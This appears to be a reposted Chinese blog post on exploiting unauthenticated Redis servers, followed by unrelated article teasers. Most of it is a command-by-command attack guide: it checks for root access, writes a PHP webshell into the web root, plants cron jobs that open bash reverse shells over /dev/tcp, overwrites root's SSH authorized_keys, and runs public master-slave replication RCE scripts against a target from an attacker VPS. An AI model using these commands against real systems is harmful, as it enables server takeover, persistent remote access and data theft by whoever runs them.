Redis未授权利用方式总结

news2024/11/16 3:30:13

前言

目前的大多数网站搭建的Redis 均采用 docker 一键部署的方式,而 docker 镜像中的 redis 默认不是以 root 权限运行的,也就是说即使拿下这台 redis,我们也只能在对方服务器的本地内网中漫游,当然还是会有部分 redis 部署在服务器中。

未授权及权限判断

未授权判断

无密码连接至目标 redis 后,执行 info 命令,如出现 redis 的相关信息,则说明存在未授权。

权限判断

连接 redis 发现存在未授权,但我们并不知道它运行用户的权限,先尝试将数据库文件目录设置为根目录:

config set dir /

如果显示 OK,几乎可以确定为 root 权限,非 root 会提示:permission denied

利用方式

写文件利用

Redis 提供了 config set dir 和 config set dbfilename 来分别设置数据库文件的保存位置和文件名。

写入 webshell

条件:

  1. 知道网站目录的绝对路径

  2. 运行 redis 的用户权限需要对网站目录有写入权限

既然可以写文件,那么就可以利用这种方式将 webshell 写入网站目录,以此来 getshell。

连接至未授权的 redis,依次执行:

# 清空所有数据库的所有 key
flushall

# 设置数据库文件的保存位置,修改为网站的目录
config set dir /var/www/html/

# 设置存储的文件名
config set dbfilename shell.php

# 将webshell的内容存入名为xxx的键,键名随意
set xxx "\n\n<?php $_POST['cmd'];?>\n\n"

# 保存写入
save
写定时任务反弹 shell
  1. Redis 以Root 权限运行

这里要注意,不同的 Linux 发行版写入定时任务情况有些区别,其中位置区别如下:

Linux 发行版定时任务路径及文件名要求
红帽系(Centos)/etc/cron.d/<任意>、/var/spool/cron/<用户名>
Debian 系/etc/cron.d/<任意>

不同的位置,命令也有所区别:

定时任务位置命令示例
/etc/cron.d/<任意>* * * * * <用户名> <命令>* * * * * root /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1
/var/spool/cron/<用户名>* * * * * <命令>* * * * * /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1

这里还需注意,在 debian 系的 Linux 发行版中,/var/spool/cron/crontabs/ 也是定时任务文件目录,但由于它对文件权限有限制,因此无法作为利用目录,同时在定时任务中反弹 shell 时不能直接使用常规的 /bin/bash -i >& /dev/tcp/127.0.0.1/8888 0>&1,而是这种形式:

* * * * * bash -c "bash -i >& /dev/tcp/127.0.0.1/8888 0>&1"

原因参考:https://blog.csdn.net/SHELLCODE_8BIT/article/details/128332941

满足上述要求后,依次执行以下命令:

# 清空所有数据库的所有 key
flushall

# 写入特定目录
config set dir /var/spool/cron/

# 按照要求设置存储的文件名,通常是root
config set dbfilename root

# 写入定时任务,每分钟执行一次,按照要求填写
set xxx "\n\n* * * * * bash -c 'bash -i >& /dev/tcp/127.0.0.1/8888 0>&1'\n\n"

# 保存写入
save
写入 SSH 公钥

原理:通过覆写目标机器的公钥,达到无密码使用私钥即可连接目标机器。

条件:

  1. redis 以 Root 权限运行

  2. 目标机器开启了私钥登录,默认是不开启

  3. 目标机器创建了公钥,即存在 /root/.ssh 文件夹

执行命令如下:

# 生成rsa密钥对,回车即可
ssh-keygen -t rsa

# 写入tmp文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/public_key.txt

# 写入公钥至redis xxxx key,方便后续写入
cat /tmp/public_key.txt | redis-cli -h x.x.x.x -p 6379 -x set xxxx

# 连接目标redis
redis-cli -h x.x.x.x -p 6379

# 接着执行
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

# 连接部分主机需要添加-o PubkeyAcceptedAlgorithms=+ssh-rsa
ssh root@x.x.x.x -i ~/.ssh/id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa

主从复制 RCE

原理:

通过 redis 的加载外部拓展可以执行命令,连接目标 redis 设置使用 slaveof 命令将本机 redis 设置为主机,将恶意 so 文件同步至目标 redis,连接然后执行命令即可。

实际利用过程:使用开源的自动化利用脚本,原理是构造特定 redis 的网络请求,模拟主从复制的过程。

条件:

  1. Redis 4.x 及 5.x,高版本默认关闭模块加载功能

模块编译:https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

自动化利用脚本:https://github.com/Ridter/redis-rce

快速利用脚本(自编译模块):https://github.com/yinsel/redis-rce

利用过程:

# 克隆仓库
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

# 进入脚本
cd RedisModules-ExecuteCommand

# 安装依赖并编译模块
apt install gcc make -y && make

# 在当前目录克隆自动化脚本
git clone https://github.com/Ridter/redis-rce

# 移动模块并进入脚本目录同时安装依赖
mv module.so ./redis-rce/exp.so && cd redis-rce && pip install -r requirements.txt

# 运行脚本getshell
python3 redis-rce.py -r <目标> -L <VPS公网IP> -f exp.so

效果:

图片

参考链接

https://blog.csdn.net/qq_41874930/article/details/112781957

https://blog.csdn.net/SHELLCODE_8BIT/article/details/128332941

https://paper.seebug.org/975/

https://www.cnblogs.com/one-seven/p/15162039.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1990018.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Tensorflow—第四讲网络八股扩展

本讲概述 一、自制数据集 我们用六万张数字图片自制训练集&#xff0c;一万张数字图片制作测试集 代码&#xff08;注释已经很清楚了&#xff0c;就不解释了&#xff09;&#xff1a; def generateds(path, txt):f open(txt, r) # 以只读形式打开txt文件contents f.readl…

【喜报】龙信助力上饶市公安局斩获全国刑侦部门数据侦查技战法大赛两项大奖

文章关键词&#xff1a;电子数据取证、手机取证、云取证、现场勘查、电子物证 8月2日&#xff0c;全国刑侦部门数据侦查技战法大赛在福建晋江市落下帷幕。来自全国各地的33支参赛队伍汇聚一堂&#xff0c;展现了全国公安刑侦部门数据侦查的新思路、新做法。 在这一高水平的竞技…

ant tree 数据的最优解

项目背景 : react ant ant 官网中目前只提供了 默认父子关联 或 checkStrictly(父子不关联)注意 : 不能盲目选择父子关联 , 虽然选中父 , 子也联动确实是需要的效果 , 但有一个bug 如下图 (当选中部分子 , 所有子被选中)解决方案 : 只能取消父子关联 , 自己去判断当前点击处…

C Primer Plus 第7章——第一篇

你该逆袭了 第7章:重点摘录 零、本章介绍一、if 语句二、if else 语句1、介绍 getchar( ) 和 putchar( )2、ctype.h 系列 的 字符函数(1)、isalnum( )(2)、isalpha( )(3)、isblank( )(4)、iscntrl( )(5)、isdigit( )(6)、isgraph( )(7)、islower( )(8)、isprint( )(9)、ispunct…

CV党福音:YOLOv8实现分类

YOLO作为目标检测领域的常青树&#xff0c;如今以及更新到了YOLOv10&#xff0c;并且还有YOLOX、YOLOS等变体&#xff0c;可以说该系列已经在目标检测领域占据了半壁江山&#xff0c;如今&#xff0c;YOLOv8的发行者ultralytics竟有一统江山之意&#xff0c;其在提出的框架中不…

基于Springboot+Vue3的简易教学管理系统

作品展示 基于SpringbootVue3的简易信息教学管理系统 第1章 系统设计 1.1 系统功能模块设计 该系统实现的功能模块包括&#xff1a; 教师端&#xff1a; 学生信息管理&#xff1a;添加、删除、修改以及查询学生信息 √课程信息管理&#xff1a;添加、删除、修改以及查…

智慧图书馆:构建高效视频智能管理方案,提升图书馆个性化服务

一、背景分析 随着信息技术的飞速发展&#xff0c;智慧图书馆作为现代公共文化服务的重要载体&#xff0c;正逐步从传统的纸质阅读空间向数字化、智能化方向转型。其中&#xff0c;视频智能管理方案作为智慧图书馆安全管理体系的重要组成部分&#xff0c;不仅能够有效提升图书…

深入浅出Mysql 第二期

从更新语句中看日志系统 探究技术的本质&#xff0c;享受技术的乐趣&#xff01;由于时间原因以及自己的原因导致拖更了&#xff0c;不过没关系&#xff0c;我保证后面每天一更&#xff0c;周末休息&#xff01;好了&#xff0c;闲话少说&#xff0c;今天我们通过一个更新操作…

数组案例练习进阶版---对数组中的元素进行排序(冒泡法)

在上篇文章中&#xff0c;我们一起学习了常用排序法中的选择排序法&#xff0c;今天&#xff0c;我们将一起来学习新的排序方法——冒泡法排序 那么首先&#xff0c;什么是冒泡法呢&#xff1f; 首先&#xff0c;第一列&#xff0c;我们有四个大小不一的球&#xff0c;我们称最…

4款ai 制作 ppt工具帮你提高工作效率

在这个高度重视可视化展示的环境当中&#xff0c;PPT在许多的场合中都骑着非常重要的作用&#xff0c;但PPT制作过程却常常令人感到烦恼。而最近我发现了4个堪称神器的PPT制作工具&#xff0c;可以分享给大家。 1、笔灵 ppt 直通车&#xff1a;https://ibiling.cn/ppt-zone 这…

数据结构与算法 - 红黑树

一、概述 1. 历史 红黑树是一种自平衡二叉查找树&#xff0c;最早由一名叫Rudolf Bayer的德国计算机科学家于1972年发明。然而&#xff0c;最初的树形结构不是现在的红黑树&#xff0c;而是一种称为B树的结构&#xff0c;它是一种多叉树&#xff0c;可以用于在磁盘上存储大量…

美国司法部对谷歌反垄断案的最新进展,Google每年给苹果200亿?

本文首发于公众号“AntDream”&#xff0c;欢迎微信搜索“AntDream”或扫描文章底部二维码关注&#xff0c;和我一起每天进步一点点 美国司法部对谷歌反垄断案的前因和最新进展 美国司法部对谷歌的反垄断案是一个复杂且历时长久的法律过程&#xff0c;其核心争议在于谷歌是否利…

CentOS 7.6 安装 Weblogic

注&#xff1a;本教程是以虚拟机作为安装环境&#xff0c;如果您公司需要安装 Weblogic 服务器&#xff0c;请先以虚拟机模拟安装一遍&#xff0c;否则出现失误&#xff0c;概不负责&#x1f601;。 一、环境 虚拟机&#xff1a;VMware Workstation 16 Linux&#xff1a;Cent…

@Autowired提示:Field injection is not recommended

1、问题 在项目升级版本过程中&#xff0c;Autowired提示Field injection is not recommendedField injection is not recommended Inspection info: Reports injected or autowired fields in Spring components. The quick-fix suggests the recommended constructor-based d…

Linux 下查看 CPU 使用率

目录 一、什么是 CPU 使用率二、查看 CPU 利用率1、使用 top 查看2、用 pidstat 查看3、用 ps 查看4、用 htop 查看5、用 nmon 查看6、用 atop 查看7、用 glances 查看8、用 vmstat 查看9、用 sar 查看10、dstat11、iostat 三、总结 CPU 使用率是最直观和最常用的系统性能指标&…

Linux下自动监控进程运行状态

目录 背景应用举例1、使用crontab脚本监控服务2、使用shell脚本监控服务2.1 编写自定义监控脚本2.2 运行脚本 背景 假设有一个服务需要长期运行&#xff0c;但可能会由于某种原因导致服务意外停止&#xff0c;不能及时发现&#xff0c;某天来到公司后发现出问题了才意识到服务…

【linux】curl命令用法

curl命令认识 curl命令其实在平常工作中就已经在使用了&#xff0c;但是一直没有系统看过&#xff0c;就在这记录下&#xff0c;以后要用的话&#xff0c;可以在这儿查阅。 curl命令写的更清楚一点其实是cURL&#xff08;client url&#xff0c;客户端URL或者command url命令…

时间复杂度计算方法以及常见题型

时间复杂度是衡量算法运行时间随输入规模增长而增长快慢的一种度量方式。它并不是指算法在特定硬件上的实际运行时间&#xff0c;而是算法在理想环境下执行时间的增长趋势。计算时间复杂度时&#xff0c;我们主要关注算法中执行次数最多的操作&#xff08;即基本操作&#xff0…

算法板子:匈牙利算法——二分图的最大匹配

目录 1. 基础概念 &#xff08;1&#xff09;二分图的概念 &#xff08;2&#xff09; 匈牙利算法的作用 2. 代码 1. 基础概念 &#xff08;1&#xff09;二分图的概念 顶点集 V 分为两个集合&#xff0c;且图中每条边依附的两个顶点都分属于这两个子集&#xff0c;也就是第…

了解反向代理如何工作吗?

在当今数字化时代&#xff0c;网络通讯扮演着重要的角色&#xff0c;而代理技术为网络通讯提供了更多的灵活性和安全性。作为两种重要的代理技术&#xff0c;代理服务器和反向代理的运行原理和用途各有不同。本文将重点介绍反向代理的运行原理&#xff0c;深入探讨其在网络通讯…